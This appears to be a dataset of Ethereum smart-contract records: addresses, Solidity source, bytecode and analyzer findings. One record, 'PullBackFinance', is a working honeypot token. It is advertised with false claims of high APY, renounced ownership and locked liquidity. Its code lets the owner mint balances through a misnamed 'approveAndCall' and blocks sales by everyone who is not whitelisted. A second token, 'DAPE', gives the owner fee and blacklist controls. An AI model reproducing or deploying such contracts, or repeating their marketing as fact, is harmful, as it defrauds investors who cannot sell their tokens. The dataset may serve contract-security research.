ffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600082821115151561179e57fe5b818303905092915050565b60008082840190508381101515156117bd57fe5b80915050929150505600a165627a7a72305820afd76294913f8085796d8863dbb193963e07d881ebaab3faf33fe18dbc607fad0029
|
{"success": true, "error": null, "results": {}}
| 9,412 |
0xba7b770b54733e78cac22c5bc1bf2c7ba1cb8c9f
|
/*
Pullback:
Supercharge your life.
With automated finance.
Say goodbye to middlemen, bureaucracy and the hassle of complicated finance. Embrace the unstoppable revolution and become your own bank.
Build your own
digital bank service
Do you still rely on time consuming, expensive financial services? PullBack fixes this. Take back the full control of your entire financial life
Financially connect
with your loved ones
No matter how far apart, you'll be closer than ever to your loved ones. Your financial 'interactions' are now easier than ever
One button away
from any financial service
The next level of smart finance is now at your finger tips through a simple QR code scan. Just tap and transact - 24x7
Business automation
for trust leverage
PullBack ensures 100% safety for any two entities who want to make a transaction or enter a contract agreement
Deposit to earn BTC
8.32%
APY Compound Rate / Year
+ 1 PLBK Reward
for every 0.000002 BTC earned
Daily Withdrawals
Start Earning
Deposit to earn USDT
16.18%
APY Compound Rate / Year
+ 1 PLBK Reward
for every 0.1 USDT earned
Daily Withdrawals
Start Earning
+$50
bonus for the first 1,000 depositors
Eligible for a minimum deposit of 500USDT or 0.01 BTC
Bonus is withdrawable in app at the application launch time
Bonus is lost if the balance goes lower than 500USDT or 001 BTC
Each user has only one chance to get the bonus
Claim your bonus
Who and what is PullBack?
PULLBACK is programmed to reward HODLers while increasing in both liquidity and value.
It does this by applying a 10% tax on transactions; 5% goes to HODLers, 5% is auto-locked to liquidity.
FOREVER DEFLATIONARY SUPPLY.
We burned 30% of the total supply after launch, and sent it to a black hole address.
As this address also participates in the protocol, it accumulates more tokens,
thereby effectively removing them from circulation. There is no limit to the burn; the black hole will continue to grow,
increasing the scarcity of PULLBACK.
WHY 30%?
This part makes PULLBACK hyperdeflationary; the burn address accumulates the most coins during tax distribution.
SAFE LIQUIDITY.
LP tokens are burned, & liquidity is locked forever.
OWNERSHIP RENOUNCED.
No one has control over the token contract, so no malicious actions are possible.
Governance
PULLBACK HODLers will have the right to access our governance system - a platform on which HODLers can vote and make future suggestions.
Charity
We are already planning to set up a charity wallet! We will use the accumulated tax to send to a charity that has been chosen by our community. This will be a periodic thing that we do for different charities as a community.
NFT Farm
In the near future, HODLers will also be able to use the PULLBACK token in order to farm NFTs! Partnerships with various artists are already in the works.
PullBack offers an automated solution for reducing the hassle and time spent on performing complex financial operations, while at the same time keeping your assets secure. It’s based on an access-from-anywhere system in which anyone, with only an internet connection, can benefit from the full freedoms of modern finance.
Even though we’re a private company, PullBack is dedicated to embracing community. So your support, feedback and involvement is crucial to our offering a more valuable, seamless experience.
This is just the beginning of a long journey. We invite everyone to imagine, hope and dream of a new reality through decentralized finance.
Introducing the PullBack Token (PLBK)
We are very excited to share more information about the token economy available on PullBack. As expected, PullBack, bringing a new era of automated finance, will introduce a token in our ecosystem. The ticker will be PLBK and we love to call it “PullBacks”.
Please find below a comprehensive list of questions and answers shedding some light on how the token works. Also, a couple of key points:
There is no token sale at all.
The team has no allocation of PLBK.
PLBK has no value, but a buyback will happen. See details below.
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract PullBackFinance {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a72315820fb0c33a172c79d2de8c5cea80b0dfe86fa1d91990bc7aff74964aaec48b1843464736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 9,413 |
0xfcff8328ea77707dd94d5da4af13bd8b81a59f8e
|
// SPDX-License-Identifier: Unlicensed
/*
$DAPE is the highly deflationary token. 4% of each txn will go to burn for all diamond handed ape holder.
Telegram: https://t.me/dapeinu
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract DAPE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _tTotal = 1e6 * 10**9;
uint256 private constant _MAX = ~uint256(0);
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
uint private constant _decimals = 9;
uint256 private _teamFee = 12;
uint256 private _previousteamFee = _teamFee;
string private constant _name = "Diamond Ape Inu";
string private constant _symbol = "DAPE";
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
uint256 burnCount = contractTokenBalance.div(3);
contractTokenBalance -= burnCount;
_burnToken(burnCount);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _burnToken(uint256 burnCount) private lockTheSwap(){
_transfer(address(this), address(0xdead), burnCount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (5 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 12, "not larger than 12%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f5578063cf0848f71461040a578063cf9d4afa1461042a578063dd62ed3e1461044a578063e6ec64ec14610490578063f2fde38b146104b057600080fd5b8063715018a61461032b5780638da5cb5b1461034057806390d49b9d1461036857806395d89b4114610388578063a9059cbb146103b5578063b515566a146103d557600080fd5b806331c2d8471161010857806331c2d847146102445780633bbac57914610264578063437823ec1461029d578063476343ee146102bd5780635342acb4146102d257806370a082311461030b57600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101bc57806318160ddd146101ec57806323b872dd14610210578063313ce5671461023057600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104d0565b005b34801561017e57600080fd5b5060408051808201909152600f81526e4469616d6f6e642041706520496e7560881b60208201525b6040516101b39190611941565b60405180910390f35b3480156101c857600080fd5b506101dc6101d73660046119bb565b61051c565b60405190151581526020016101b3565b3480156101f857600080fd5b5066038d7ea4c680005b6040519081526020016101b3565b34801561021c57600080fd5b506101dc61022b3660046119e7565b610533565b34801561023c57600080fd5b506009610202565b34801561025057600080fd5b5061017061025f366004611a3e565b61059c565b34801561027057600080fd5b506101dc61027f366004611b03565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a957600080fd5b506101706102b8366004611b03565b610632565b3480156102c957600080fd5b50610170610680565b3480156102de57600080fd5b506101dc6102ed366004611b03565b6001600160a01b03166000908152600460205260409020